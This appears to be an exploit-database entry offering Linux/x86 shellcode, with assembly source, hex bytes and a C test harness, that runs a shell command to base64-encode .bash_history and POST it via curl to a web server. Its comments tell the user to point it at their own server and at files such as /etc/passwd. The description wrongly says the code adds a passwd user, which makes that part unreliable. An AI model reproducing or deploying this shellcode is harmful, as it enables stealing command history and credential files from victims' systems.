Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)

2019-04-15 00:05:16

# Exploit Title: Linux/x86 cat file encode to base64 and post via curl to webserver (125 bytes)
# Google Dork: None
# Date: 11.04.2019
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 125
------------------------------[Description]---------------------------------

This shellcode writes a new user to the given passwd file

Username = sshd
password = root
Shell = sh

-----------------------------[Shellcode Dump]---------------------------------
section .text

global _start

_start:
xor eax, eax
push eax
jmp short _cmd

_build:
pop ecx
mov edi, ecx
xor ecx, ecx
push eax
push 0x68732f6e
push 0x69622f2f

_param:
mov ebx, esp
push eax
push word 0x632d
mov esi, esp

_exec:
push eax
push edi
push esi
push ebx

mov ecx, esp
mov al, 11
int 0x80

_cmd:
call _build
msg db "curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -X POST", 0x0a
; decoded url = curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -X POST
;change url to your server
; change file to you target file like /etc/passwd


-----------------------------[Compile]---------------------------------------------
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c

-----------------------------[C-Code]-----------------------------

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "\x31\xc0\x50\xeb\x23\x59\x89\xcf\x31\xc9\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x63\x89\xe6\x50\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd8\xff\xff\xff\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x38\x30\x38\x30\x20\x2d\x64\x20\x27\x64\x61\x74\x61\x3d\x27\x24\x28\x63\x61\x74\x20\x2e\x62\x61\x73\x68\x5f\x68\x69\x73\x74\x6f\x72\x79\x20\x7c\x20\x62\x61\x73\x65\x36\x34\x20\x2d\x77\x20\x30\x29\x20\x2d\x58\x20\x50\x4f\x53\x54\x0a";

void main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}

Fixes

No fixes

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